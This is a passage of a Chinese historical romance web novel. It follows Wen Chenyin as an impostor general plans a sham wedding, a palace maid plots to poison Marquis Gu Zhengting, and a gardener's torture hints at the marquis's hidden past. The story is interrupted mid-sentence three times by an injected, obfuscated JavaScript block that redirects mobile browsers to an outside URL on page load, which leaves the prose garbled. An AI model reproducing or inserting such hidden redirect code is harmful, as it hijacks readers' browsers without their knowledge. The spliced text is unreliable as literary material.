听他伤感之间,居然提到了裴瑾故去多年的亲娘,温沉吟不禁也有些伤怀。 正待出言相劝,顾正霆已经清了清嗓子:“阿瑾虽然记忆有失,但总算身体无恙,也算是不幸中的万幸。只是如今北境战局有变,既然阿瑾身体已经恢复,不知可否考虑过,何时重回北境? 温沉吟万万没想到他会在这个时候突然提出让裴瑾重返战场,一时间不禁脸色微变:“顾伯伯,这难道是陛下的意思?” “这倒不是……” 顾正霆摇了摇头,脸上写满了为难:“陛下体恤阿瑾,知道他历经了丧父之痛,又病了那么久,倒是有心让他在家中静养。只是我此去晋州,与各位大人讨论了眼下的军防之事,才发现如今我燕国可以调用的将帅之才,实在是到了捉襟见肘的地步……” 当初尉迟上恭与裴行州设立莳英堂,大概就是预见了会有这么一天。 只可惜时至当下,他们最担心的事,终究还是发生了。 回想起当初在莳英馆中所经历的种种,温沉吟只觉得心下黯然。 另一边,顾正霆依旧还在感叹着:“你大概还不知道,自高雷升重伤之后,庆国边境大军的指挥权已经了落入了拓跋延的手中。此人行事狠戾,又心思狡诈,近段时间已经给我们制造了不少麻烦。如今在北境镇守的戚将军虽说勇猛无双,但毕竟年事已高,对付拓跋延这种阴险狡诈之人,实在是力有不逮。若是北境再无合适的将领镇守,只怕温大人也很难再坚持到回来的时候了……” 温沉吟心下一惊,正待开口,温珩已经迅速打断了他:“顾伯伯,你这话是什么意思?我爹他怎么了?” 顾正霆似乎比他二人还要吃惊:“北境条件艰苦,气候也十分恶劣。温大人去了没多久,便旧疾发作,时时胸闷难当,外加殚精竭虑,日夜操劳,中途竟是晕阙了好几次。大夫说,若是再不好好休养,只怕难享天年……这些事难道你们都不知道?” 温珩眼眶一红,声音里带上了几分哽咽:“父亲寄回来的家书之中,只是说他近日感染了风寒,我们虽然已猜到他大概是旧疾发作,却没想到他的身体已经糟糕到了此种地步!” 顾正霆深深一叹,脸上已浮现悲呛之情:“温大人是怕你们担心,才会隐瞒自己的病情,我也是细细问过了军中的信使,才会得知此种实情。其实之前我便劝过温大人,以他的身体状况,实在不适宜再上战场与人搏杀,可他却偏偏不听,执意要向陛下请命……他都已经这把年纪了,为了军功,竟是连自己的性命都不顾了。” 温珩此刻已经沉浸在了深深的担忧里,听他语中似有不满,不禁赶紧申辩道:“顾伯伯,你误会了。父亲此去北境,并非是贪图军功,而是想要查明涧云峡之战背后的真相……” “真相?什么真相?” 没等他把话说完,顾正霆已经目色一凌,厉声呵斥道:“坊间那些子虚乌有的传闻,你竟是也当真了吗?” 当初那场北境之战,高雷升领六万铁骑南下,越过铁线河,直逼燕云关。 军报入京后,魏栩明认定燕云关以涧云峡为屏障,地势险要,因此命裴行州坚守,等待援军的到达。 届时北境燕军仅有三万之数,对抗两倍于己方的敌军,胜算希望渺茫。 为防军心不稳,魏栩明连下三道圣旨,不仅表明了“固守待援,不可浪战”的态度,甚至不惜出言威胁,“若擅开城门,以叛国论斩!” 接到圣旨之后,裴氏父子带着三万将士在燕云关死守,一心等待着援军。 然而随着时间的推移,关卡前的土地被将士们的鲜血涂染了一层又一层,传说中的援军,却迟迟没有出现。 裴行州心里很清楚,高雷升此次倾力而战,势必是要将燕云关攻破。 而燕云关一旦失守,燕国门户即开,等待燕国百姓的,即将是无尽的践踏和杀戮。 为了不让自己的兄弟们在遥遥无期地等待中被活活困死,也为了守住燕国百姓的平安,裴氏父子商议后决定,裴行州开城诱敌,牵制住高雷升的主要兵力,裴瑾则率两千轻骑军绕背涧云峡,直攻敌营腹地,焚其粮草,以解燕云关之困。 涧云峡地势凶险,本是燕庆边界的一道天然屏障,稍有不慎便会马坠人亡,因此即便知道它是捷道,两军之中却从来没有人敢轻易冒险。 然而裴瑾艺高人胆大,又向来练兵有素,整个轻骑部队在他的指挥下,竟然如同鬼魅一般,在夜色的遮蔽下,悄无声息地越过了山涧。 眼见计划顺利,裴瑾原本打算稍事休息后变放出信号,然后直冲敌军心脏。 不料顷刻之间,四下里火光燃起,原本应该在十几里外安营扎寨的敌军竟像是早已知道他们的计划一般,在拓跋延的带领下四下围守,朝着他们的方向包抄了过来。 因为军情提前败露,裴瑾的行动彻底陷入了被动。 但即便如此,他还是在以寡敌众的情况下率领一小队亲兵杀出了一条血路,用一场大火焚尽了庆军的粮草。 另一边,亲身迎战高雷升的裴行州横马长枪,驰骋于战场之上,身中数箭而不退,甚至还在重伤之下,以一只穿云箭,射穿了高雷升的胸膛。 主将重伤,粮草被焚,原本志在必得的庆军顿时陷入颓势。 而拼尽全力终于遏制住了庆军进攻之势的裴行州,却也在病榻上得到了儿子失踪的消息。 直到两日之后援军赶来,确定燕云关终于安宁得保,他才在悲憾交加之中闭上了眼睛。 此战之后,关于燕国军中有人与庆国军防暗中勾连的议论开始喧嚣尘上。 毕竟裴氏父子的偷袭合围计划从制定到执行的速度极快,所知之人若非身边的心腹,便是军中重臣。 议论声传到魏栩明耳朵里后,也曾经下令彻查。 但此事毕竟太过动摇军心,外加有心人的挑唆,一番调查下来,居然让魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343215|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩明认定裴氏父子是因为违背圣旨,导致无数兵士枉死,才会鼓动舆论,用这样的说辞为自己开脱。 虽然像温北堂和顾正霆这样的武将都认为此事事关重大,不能轻易放过,但无奈魏栩明心意已定,不愿让裴行州之死再起风波,最终便如同越王被刺案一般,找了几个替罪羊草草了事。 眼见如此,温北堂只能自动情愿,只身前往北境,只盼着能以身入局,查明事情的真相。 但朝野之中的大部分人却就此讳莫如深,生怕一旦说错了话,便会引发魏栩明的不快,引来杀身之祸。 如今温珩情急之下提及此事,温沉吟也知道他是犯了忌讳,于是赶紧打起了圆场:“顾伯伯,阿珩年幼不懂事,一时说错了话,您切勿与他计较。他只是……” “我只是有事想要麻烦顾伯伯!” 没等她把话说完,温珩已经迅速接口:“北境局势危险,父亲身体又不好,所以我想拜托顾伯伯,是否能请陛下恩准我去往北境,替父分忧!” 温沉吟没想到他冲动之下,居然直接当着顾正霆的面开了口,事先准备好的说辞顿时没了用武之地。 从进屋之后就一直沉默着没说话的马小六在听完他的请求后,眼中也闪过了一丝复杂的神色。 对于他的恳求,顾正霆显然有些意外,沉吟良久才轻声表示:“阿珩,你的心情我明白,但北境如今的情形,最需要的是可以领军打仗的将帅之才,你即便此刻去了,能做的也有限。倒是阿瑾,他对北境的情况再是熟悉不过,又多次与拓跋延交手,若能重返战场,便是最好不过……” 他这番话说得有理有据,显然已经是深思熟虑之后的结果。 若在场之人真是裴瑾,必然也会和他报着同样的心思。 可眼前的马小六只是一个冒牌货,还和庆国的暗探组织有着千丝万缕的关系,留在帝都之时尚且不可控,若真去了战场,必定会引发天大的祸事。 温沉吟再是胆大,也知道此事万万不可冒险,可顾正霆如今谈论的是军国大事,她身为一介女流,又无法越俎代庖替马小六推脱。 情急之下,她只能勉强应道:“顾伯伯,瑾哥如今记忆尚未完全恢复,我只怕……” 话音未落,马小六已然踏步向前,打断了她:“顾伯伯,我虽记忆有失,但却不敢忘了父亲的叮嘱和自己的责任。如今战事所需,我自是义不容辞!只是前往北境之前,我还有一事未了,还望顾伯伯可以多留些时间,助我完成心愿。” 顾正霆问言只觉惊诧:“你还有何心愿?” 马小六抿嘴一笑,目光看向了温沉吟:“我与阿吟蒙陛下赐婚,如今已有六年。这六年间,我忙于战事,始终未能给阿吟一场像样的婚礼。如今我既身在帝都,就想着能借这个机会把婚事办了,这样即便我再上战场,也能安心些!” 温沉吟万万没有想到,对方居然会在这种时候假戏真做,提出要将她迎娶进门的想法。 但短暂的错愕之后,她却很快意识到,大概也只有这样的方式,才能暂缓马小六去往北境,而不会让人生疑。 两相踌躇之间,顾正霆已然面露惊诧:“你有此心,自然是好事!只是温大人如今远在北境,关于你们的婚事,已经与他知会过了么?” 短短一句话的时间里,温沉吟已然下定了决心,很快摆出了一副喜中含羞的模样:“此事瑾哥已经与我认真商量过了,日子定下之后,便会写信告知父亲。父亲一直盼着我能够终身有托,知道这个消息后,想必是不会反对的!” 在她轻言细语的回答声中,马小六像是要让顾正霆见证他们的决心一般,悄无声息地握住了她的手。 感觉到自己的一双手,被他那双纤长有力的手指紧紧包裹着,温沉吟心下一惊,下意识就想挣开,但对方却像是怕她会反悔一般,越握越紧。 惊恼之下,温沉吟目色一沉,想要提示他不要太得寸进尺。 然而四目相对之间,对方看向她时所流露出的温柔,安慰,哀求和不舍,却让她的心慢慢软了下来。 顾正霆静静想了一阵,似是也被他们的诚意所打动,略加犹豫后,最终还是点了点头:“你们既然有此打算,那便先将婚事办了也好。只是婚嫁之事程式繁复,你们两家的长辈也都不在京中……要不这样,琇琇你明日去我府中一趟,我请夫人与你商量准备着,到时候一定让你风风光光地嫁人!” 45. 梅音 顾正霆的夫人昭熹长公主魏昭玥是燕帝最小的妹妹,因为样貌俏丽,又性格娇憨,自幼便极受父兄们的宠爱。 魏栩明登基之后,原本想给她指一个出身高贵的驸马,让她尊享一生荣宠,但她却偏偏看上了家世衰落,凭着在战场中一路摸爬滚打,才有机会在朝堂上立足的顾正霆。 成亲之后,魏昭玥为表对丈夫的一片真心,特意搬离了公主府,随顾正霆住进了他在帝都的宅院中。 只是那时顾正霆才回京不久,所居之处冷冷清清,看着实在简陋。 最后还是魏栩明实在看不过眼,命人将宅子大肆修缮了一番,又送来了不少赏赐,才让他们的居所,不至于辱没了魏昭玥的公主身份 温沉吟的母亲还在世时,因为性情温柔,又弹得一手好琴,因此魏昭玥与她很是投缘,时时会相约见面,切磋琴技。 也正因如此,温沉吟深知这位长公主虽然是燕国身份最尊贵的女人,却性情极好,不仅一直安守府中,相夫教子,从无半点无半点骄奢之气,就算是对待他们这些朝臣家的孩子,也是关爱有加,十分温柔。 自丧母之后,温沉吟对于这种性情和蔼的女性长辈难免心生亲近,外加对方被马小六设计生下的那场病,多少也与自己有关,所以即便知道所谓的婚嫁之事不过只是一场空谈,次日还是认真备上了礼物,去往了顾正霆的府中。 大概是已经从丈夫口中得知了温沉吟即将嫁人的消息,魏昭玥显得很高兴,听到她登门的消息,便忙不迭地主动迎了出去。 在温沉吟的印象中,这位公主性格开朗,见人时也总是眉目含笑,灿烂如春花一般。然后见面之后,却发现她虽然脸上还是笑意盈人,眼角眉梢处却带着挥之不去的忧色,神情也颇为憔悴,心中不觉有些惊诧。 得知对方的病情是出自马小六的手笔后,出于担心,她曾经细细询问过对方的情况。 而马小六也表示,他与魏昭玥无冤无仇,对她下手也不过是为了拖住顾青影,因此所下之药虽会让她乍看之下病势沉重,但对身体并无太大损伤,只要静心调养,过上月余就能恢复如初。 为了确保他没有骗自己,温沉吟还让温珩去顾青影那里打探过,得知魏昭玥的病势的确已经大好,才彻底放下心来。 可看她如今的情形,却并不像一个身体健□□活幸福的女人所应该拥有的模样。 如果不是病势所累,那便是常年被什么忧思之事所折磨。 可像她这样一个出身高贵,荣宠不断,夫妻恩爱,又有儿子承欢膝下的女人,究竟又会有怎样的烦恼呢? 魏昭玥却显然没有觉察到她的思虑,细细将她打量了一番后,便轻声叹道:“当初你母亲带你来来见我时,你还是个小女孩,如今却已经出落得如此标志。你母亲若是看到你如今的模样,不知道会有多高兴!” 听她提到已故的母亲,温沉吟的神色变得有些黯然:“母亲故去多年,长公主殿下却依旧视她如友,时常记挂着,沉吟实在感激。” 见她神色黯然,魏昭玥满是心疼地拉住了她的手:“我与你母亲一见如故,当年便已是无话不谈的好友,若非青影小你几岁,我甚至都想过结下这门亲事,让你可以成为我的儿媳妇!虽说如今你要嫁给阿瑾,我们终究没有缘分成为一家人,但在我心中,你便如我的女儿一般……” 说到这里,她口气里带上了几分感叹:“而且虽然你母亲已经故去,但这么多年来,你的父亲心中始终只有她一人,再也没有婚娶。光是这份夫妻间的真心,她也算是无憾了……” 听她口气中似有艳慕之意,温沉吟心中不禁发出阵阵冷笑。 魏昭玥出身皇家,丈夫对待她的态度自然是温柔呵护,体贴用心,何况顾正霆向来温文尔雅,处事周全,必然不会让她受半点委屈。 像她这样的女人,又如何会懂得温北堂为了功名,对待妻子的残忍无情? 只是往事已逝,她也不欲纠结,轻声应付了几句后,便随着魏昭玥的邀请,去了她的房中。 落坐之后没多久,魏昭玥便示意侍女取来了一个锦盒。 盒子打开后,里面竟是一个质地极好的玉制项圈。 魏昭玥将玉镯项圈轻轻婆娑了一阵,便将它递到了温沉吟面前:“我年满十四那年,母妃特意挑选了一块极好的羊脂玉,命宫中的巧匠制成了这副芙蓉项圈赠与我。只是如今我如今年岁大了,这项圈戴着也不合适,便将它送与你作为陪嫁,就当是我的一点心意吧。” 温沉吟闻言不敢怠慢,小心翼翼地接在手中。 细看之下,她只觉那项圈只觉得触手生温,色泽清润,雕琢的芙蓉花饰更是造型清丽,栩栩如生,道谢之后,便忍不住轻声问道:“长公主殿下是很喜爱芙蓉花吗?” 魏昭玥笑着点了点头:“年幼时母后便告诉我,芙蓉寓示着忠贞,那便是一生一世只钟情于一个人,大概是因为这样,我便对它格外偏爱。这样的心情,你是能明白的吧?” 温沉吟轻轻“嗯”了一声,心中却是止不住的难过。 对方以长公主之身,不顾旁人反对,执意下嫁给了家道中落的顾正霆,如今子承膝下,夫妻恩爱,也算是修成了一生一世一双人的幸福良缘。 而裴瑾至今下落不明,生死未卜,自己却因迫于形势,不得不和一个来历不明的冒牌货谈论起了婚嫁之事,这其中的痛苦与失望,又哪里是对方能够体会的。 见她目色怔怔,不再说话,魏昭玥不禁有些疑惑:“阿吟,你怎么了?” 温沉吟这才回过神来,赶紧敷衍道:“没什么……只是方才来的路上,我便见院中看到许多芙蓉,原来是侯爷投其所好,特意为公主所种。侯爷待公主如此用心,真是令人羡慕。” 魏昭玥依旧还是微笑着,声音却低了下来:“阿吟误会了,那些芙蓉是当年皇兄命人修缮这所宅院时种下的。侯爷平日里军务缠身,又哪里会把心思放在这些小事上?” 这声音虽然温柔,却带了些许惆怅之意,似是被温沉吟的话勾起了某些遗憾。 温沉吟正待相劝,魏昭玥已经朝身旁的侍女点了点头:“梅音,早些时候我命人炖下了八珍汤,如今想来也应该好了,你去将它拿来,让阿吟也尝尝!” 那名叫梅音的侍女似是正在走神,听到命令之后竟一时没反应过来。 魏昭玥见状也不着恼,只是微微叹了叹,又将事情交代了一遍,对方才赶紧应声,领命而去。 能近身侍奉魏昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349590|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玥的侍女理应是她从宫中带出来的,按理说,有客人在场时,不会出现如此心不在焉的状态。 好奇之下,温沉吟不禁朝她的背影多打量了两眼。 魏昭玥显然也觉察到了她的疑惑,主动解释道:“我尚在宫中时,梅音便在一直随身侍奉着,后来我嫁于了侯爷,便随我一同来了府中。她平时素来性情稳重,就是不知最近是怎么了,总是有些恍恍惚惚的,倒是让你见笑了。” 温沉吟闻言笑了起来:“公主心善,待下人总是很好。我想她大概是有什么心事,才会有些晃神吧。” 魏昭玥摇了摇头,样子看上去有些无奈:“她在我身边侍奉多年,偶尔有所疏漏倒也没什么。就是盼着她别在侯爷面前失礼,惹得侯爷不快就是了……” 说话之间,梅音已经将几盏热腾腾的汤水端了上来。 然而大概是意识到了不久前自己的表现在客人面前太过失礼,想要极力挽救一下,又或许是心中藏着什么烦恼之事以致情绪不稳,送汤之时,她动作太急,竟是一个失手,将半碗汤直接撒在了魏昭玥的衣裙之上。 这一下,即便魏昭玥脾气再好,也不禁变了脸色,厉声将她呵斥了几句后,便命她下去自行掌嘴领罚。 待到梅音退下之后,她才有些尴尬地表示:“阿吟,我先去更衣,你且在府中随意逛逛。等到晚些时候,我们在一同商量你的婚嫁之事。” 温沉吟看得出她对梅音很是偏宠,如今碍于自己在场责令重罚,难免会有些心疼。 如今匆匆离去,除了更衣之外,大概也是想叮嘱施刑之人下手轻些。 对于魏昭玥管制下人时这过于柔慈的态度,温沉吟心中不以为然。 但身为客人,她也不愿多事。 百无聊赖地坐了一阵后,她干脆起身出门,在花园里逛了起来。 顾正霆的府宅她来得不多,尤其是在母亲故去之后,几乎只在年节时才会偶尔登门。 每次来了之后,也是规规矩矩的一番问候后,便很快离去,难得有闲情逸致欣赏过府内的景色。 如今一番观赏下来,只觉得府中的花植长得极好,芬芳满园的同时,也没有失去侯爷府该有的气度,显然负责打理之人是花了不少心思。 慢悠悠地逛了一阵,想着魏昭玥那边的私事应该也处理得差不多了,她正打算返身回去,晃眼之间,却远远看到一名低头赶路的侍女,因为脚步太过急促,竟是一个趔趄,直接摔倒在地。 温沉吟担心她扭了脚,想要过去看看情况。不料顷刻之间,对方已经爬了起来,连裙衫上站着的泥土都来不及拍打,便又脚步匆匆向前奔去。 在她起身的那一刻,温沉吟已然看清楚,那个慌慌张张的侍女的侍女便是不久前才刚刚受罚的梅音。 如她这般受过宫规调教之人,说话做事的规矩要比普通的侍女要讲究得多。 若非出了什么紧要之事,应该很少会这般惊慌失措。 何况她才刚受过责罚,脸上甚至还有些红肿,原本应该在屋子里好好静养着,却不知道这样急匆匆地是要去干什么。 温沉吟心下生疑,原本想拦住她探问一番,但转念一想,却没有出声打扰,只是悄无声息地跟在了她身后。 46. 酷刑 片刻之后,梅音绕过了几进院子落,最后在一间低矮的房间前停下了脚步。 左右看了一圈,确认四下无人后,她轻轻在门上敲了两下,然后便手脚迅速将门一推,闪身走了进去。 虽然对顾正霆府邸的布局并不熟悉,但光看那屋子的大小朝向,温沉吟也能猜到大概是堆放工具的杂物房。 梅音既然在魏昭玥身旁侍奉,在府中的地位必然不低,应该不会无端端往这里跑。 想到此处,她心中疑获更甚,很快便蹑手蹑脚地跟了过去。 房门紧闭的情况下,那间屋子只在靠近转角的地方留了一道窗户。 略加观察之后,温沉吟刚准备将窗户推开一条缝,看看里面的情形,屋内忽然传来了一阵低低地抽泣声:“阿晋,你好些了吗?这是我昨日趁着长公主午睡时,偷偷去街上请大夫开来的药。你先敷一些,或许就没那么疼了……” 片刻之后,一个虚弱的男声哑声应道:“梅香,你还是赶紧回去吧,长公主身边随时都需要人伺候,若是找不到你,定会不高兴的!” 梅香却显然没有就此离开的意思:“你放心,今日温统领家的小姐上门做客,公主的心思都在她那儿。更何况……” “何况什么?” “何况我故意做错了事,刚刚受了罚,眼下便不用再侍奉了。” “什么?” 那男子像是十分心急,声音也扬了起来:“你怎么可以为了来看我就故意伤了自己?且不说你一个女人家,根本吃不得这样的苦头,若是被侯爷知道了,也定然也不会放过你的!” 温沉吟实在没料到,梅音今日那些毛毛躁躁的表现都是故意为之,为的就是从魏昭玥的眼下溜走,来这里探望,心中不禁更是惊诧。 而梅音似乎也因为对方的关心,而更加伤感了起来:“为了你,我吃点苦头又算什么?何况若不是因为我,你又何至于到如此地步?其实我实在不明白,你平日里做事勤勤恳恳,从未犯过任何错。如今不过是因为一点小事,侯爷为何要如此重罚?” 男人苦笑了起来:“我这次犯的并非小错,而是犯侯爷的忌讳,看这情形,我大概是没命活着从这里走出去了。若我真的死了,你以后你要好好照顾自己,不必为了此事难过。” 他这番话似是在交代遗言,梅音听在耳里,只觉得惊惶,声音也再次哽咽了起来:“不!阿晋!我不要你死!若你死了,我也绝不独活!” 两人间的对话听到这里,温沉吟心中大概也明白了。 屋内那个叫阿晋的男人大概是梅香的心仪之人。 然而不知做了什么错事,犯了顾正霆的忌讳,被责罚之后,扔在了这个杂物房中。 虽然温沉吟对下人并不苛责,即便是做了错事,也很少会用酷刑责罚,但毕竟各个府中都有自己的规矩,顾正霆又是军中出身,即便有时责罚过重,也在情理之中。 只是眼下看来,梅香的种种举动无非只是惦记着自己的情郎,而并非在谋划什么龌龊之事后。 弄清真相后,对于这对苦命鸳鸯之间的种种纠葛她也无心再听,正打算就此离去,梅香的声音已经再次响起:“阿晋,我已经想好了,既然你是为了我才进府,那无论如何,我也一定要救你出去!” “怎么救?” 阿晋似乎已经彻底绝望了:“难道你还想去求长公主殿下不成?虽然长公主心善,可这些年她为何心下郁郁你又不是不知道。她既是隐忍至今,又哪里会为了我的事,去与侯爷闹不痛快呢?” 听他这么一说,梅香的声音也低了下来:“是啊……长公主殿下尚未出阁之前,是何等开心快乐,又怎会想到嫁与侯爷之后,会变成如今这般模样?” 她顿了顿,像是彻底下定了决心:“阿晋,或许我们还有另外一条出路。今日温统领家的小姐来府中做客,侯爷定会起留她用膳。到时候我在旁伺候,便找机会将鹤顶红下入他的酒中,只要他一死,那无论是长公主还是你我,或许都能彻底解脱了……” 温沉吟万万没有想到,这个一直平日里总是低眉顺眼的侍女会为了自己的情郎生出嗜主的念头。 心惊之下,她身体一晃,脚下踩着的枯枝发出“卡擦”一声响。 那阿晋似乎警惕性极高,立马高声呵斥道:“什么人在外面?” 以那两人如今的身份与处境,就算她此刻大摇大摆地离去,必然也无法拿她怎么样。 但梅音杀心已起,若是置之不理,只怕会后患无穷。 想到这里,温沉吟当即踏步向前,轻轻将门一推:“打扰一下,关于你们商讨之事,我有话想与二位聊聊。” 梅香全然没想到会隔墙有耳,听到推门的声音,立马双眼圆瞪,拳头紧握,似是想要和眼前之人拼个鱼死网破。 然而看清来人之后,她像意识到身在着侯府之中,无论她如何反击,都不可能让自己和阿晋全身而退,于是很快“咚”地一声跪倒在地,一边磕头,一边颤声哀求道:“温小姐,今日之事都是我自己的打算,与阿晋无关,还请你高抬贵手,不要牵连于他!” 温沉吟闻言不置可否,只是先将四周打量了一下。 光线晦暗的房间里,四下堆满了花盆,铁锹之类的杂物。 靠墙的地方,一个眉眼敦厚的中年男子躺在地上,身上盖着一层薄薄的被子,只是看那形容枯槁的模样,像是正身在大病之中。 眼见梅香跪地求饶,他似乎也想要一同跪下。 但几番挣扎无果之后,终究还是只能侧过身体,不断哀求道:“温小姐,梅香只是一时糊涂,才会胡乱说话……而且她想做的一切都只是为了我。若你要问罪,带我去见侯爷便是,梅香她是无辜的,还请你放过她一条生路。” 大难临头的情况下,这对鸳鸯居然都宁愿豁出自己的性命,却依旧想要保护对方。 温沉吟心下动容,表面却依旧不动声色:“我是来府中做客的,事情该如何解决,自有主人家决断。不过有些事既是被我知道了,我倒是不能不过问……侯爷将你二人留于府中,也算是给了你们一份安稳。究竟是怎样的深仇大恨,会让你们恩将仇报,想要毒害于他?” 那阿晋张了张嘴,似乎想要解释什么,但一番犹豫之后,终究还是把话咽了回去。 梅香等了一阵,迟迟不见他说话,忍不住红着眼睛,将他身上的被子一掀,哑声表示:“就是因为这个!” 被子被掀起的那一瞬,随着一股浓重的血腥气扑涌而出,阿晋的一双腿露了出来。 之前见他半天无法起身,温沉吟已经猜想过他腿部或许受了什么伤,然后此刻细看之下,才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354844|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现他膝盖以下的部分,血肉层层翻起,伤口较深的地方甚至已经可以隐隐看到腿骨,像是被人用锯齿形的铁器反复在小腿处刮擦,已经没有一块完整的好肉。 饶是她性情沉稳,因为见过太多的死亡,也不会因为一点刑伤便大惊小怪,但眼前的情形还是让她胸中一阵翻江倒海,若非死死咬着牙,几乎就要现场呕吐出来。 见她脸色惨白,显然是被惊到,阿晋赶紧拉过被子,重新盖在了自己的腿上。 而梅香的哭诉声,也在这个时候重新响了起来:“温小姐,阿晋与我自幼相识,直至我入宫侍奉公主,彼此才断了联系。一年前,我因机缘巧合重新遇到了他,才知道这些年他因为心里惦记着我,一直未曾婚娶。为了能时常见到他,我便替他在府中谋了个差事,就盼着找到合适的机会,能求得公主为我二人赐婚。阿晋在府中呆了大半年,工作向来勤勉,也很得侯爷信任。可就是因为犯了一点小小的错,就要被酷刑如此折磨……我若是不设法救他,还真要等到他被折磨致死的那一天么?” 梅音在魏昭玥身边侍奉了这么多年,年纪已然不轻,难得遇到一个对她情意深重的男人,自然舍不得他受苦。 温沉吟由己及人,心中多了几分同情:“可他究竟是犯了什么错,会让侯爷如此重罚?” 梅音张了张嘴,似是想要解释,却又心有顾忌。 阿晋见状,便苦笑着将话接了过去:“我在府中做花匠,负责帮侯爷打理庭院。前些日子,我见院中的一株花植有枯萎之势,又想着公主大病初愈,需要添些喜气,就将那株花植铲了,换上了公主喜欢的芙蓉。不料侯爷从晋州回来之后知晓了此事,便大发雷霆,命人对我施了沸骨之刑……施完刑后,他便将我扔进了花房,任我自生自灭。若不是梅香一心惦记着我,时常给我送些吃的,我大概已经活不到今日了……” 沸骨之刑是将受刑者的双腿浸在滚水之中,再用铁篱将烫伤的地方一层层撕碎,直至见骨。只是这样的刑法太过残酷,即便在军中也鲜少使用,如今用在了一个普通的家仆身上,施刑者还是性格温和的顾正霆,这不仅让梅香愤怒不易,就连温沉吟也觉得满是惊惑。 惊诧之下,她犹自疑心其中还有什么隐情:“真的只是因为这样?” 阿晋看着她,目光里都是诚恳:“事已至此,我与梅音的性命都在温小姐手里。阿晋便是有天大的胆子,不敢有所欺瞒!” 做主子在处罚下人时,往往会因为心情的好坏而程度各有不同,但以顾正霆的身份修养,仅仅因为一株花植便对下人施以酷刑,实在是让人匪夷所思。 温沉吟想了想,再次问道:“即便侯爷不喜你自作主张,那被换掉的花植重新再找一株种回来就是了。所以说,被你换掉的花植究竟有何特别之处?” 阿晋面露犹豫,目光不自觉地看向了一直跪在地上的梅香。 虽然很清楚也知道,若要取得温沉吟的信任,必须将事情原原本本都解释清楚,但有些事若真的说了,难免又牵涉到某些难以启齿的私隐。 几经挣扎之后,对于情人的担心终究让她含糊不清地挤出了几个字:“因为被阿晋移走的花植,是一株合欢……” “合欢?” “是……而且那株合欢,是侯爷与公主成婚前,便在府中种下的……” 47. 秘密 随着“合欢”二字出现,无数的与之有关画面在温沉吟的脑海中奔涌而过。 每次为夫人祭祀时,裴行州都会在她灵前供奉的合欢花; 多年前的那个大雨夜里,裴瑾小心翼翼在荟英堂的院落里捡起的那些合欢花花瓣; 还有这么多年以来,他从不离身的玉牌上刻着的合欢花纹饰…… 这些细碎的线索拼凑在一起,似乎已经足以拼成最后的答案。 可是这个答案实在太过阴暗,也太过令人震惊,让她根本无法与平日里光风霁月,如谦谦君子般的顾正霆联系在一起。 为了不让自己继续胡思乱想下去,她赶紧收敛心神,继续问道:“即便侯爷处罚的手段过于严苛,你们为何不去求求长公主殿下?长公主向来心慈,你又在她身边侍奉多年,若知道了你与阿晋之间的情谊,定不会袖手旁观。” “长公主殿下?长公主这些年过的究竟都是什么日子,温小姐你不清楚,但我却一一看在眼里。她受尽屈辱,却因为深爱侯爷,一直自欺欺人的活着,难道我还要因为这件事,去揭她心中的伤疤么?” 温沉吟越听越是心惊:“长公主身份如此贵重,何人敢让她受屈辱?你究竟什么意思,把话说清楚!” 事到如今,梅香像是已经全然豁出去了,当即将心一横,细细解释了起来。 当初她随魏昭玥住进顾正霆的府邸后不久,便发现这位驸马爷虽然性情温和,为人处世的态度也十分周到,但是与妻子相处时,却总是客气有加而温情不足。 但是当时她只以为是魏昭玥的身份太过尊贵,这位驸马爷过于小心,才会让他们的夫妻情分看上去有些生疏。 不久之后,魏栩明因为疼惜自己的妹妹,开始命人重新修缮侯爷府。 匠人们在大兴土木的同时,也按照魏昭玥平日里的喜好,将府中的花草树木重新进行的整修。 也就在那个时候,花园里原本种着的合欢被尽数移去,只在顾正霆所居的院落中还留下了两三株。 能得陛下亲旨修缮宅院原本可算是极大的恩宠,得知这一消息后,朝中也来了不少官员对顾正霆表示庆贺。 但梅音却很敏锐的意识到,这位荣宠加身的驸马爷似乎却并没有那么高兴,即便在面对朝臣们的祝贺时总是一副受宠若惊,幸蒙天恩的模样,私下里却总是露出郁郁之色。 自府邸修缮结束后,顾正霆对待魏昭玥的态度就变得更加冷淡了起来。 虽然在外人看来,他们夫妻之间恩爱有加,犹如神仙眷侣,但身为魏昭玥的贴身侍女,梅香却很清楚,但凡没有旁人在场,顾正霆几乎很少主动和自己的妻子说话,甚至以公务繁忙为由,再也没有与她同过房。 遭遇丈夫冷遇的魏昭玥惊羞交集,满心惶恐的同时,却又不知道自己究竟做错了什么。 但这毕竟是夫妇之间的私隐,她又无法说与旁人听,于是只能独自吞咽苦果的同时,想方设法讨丈夫欢心。 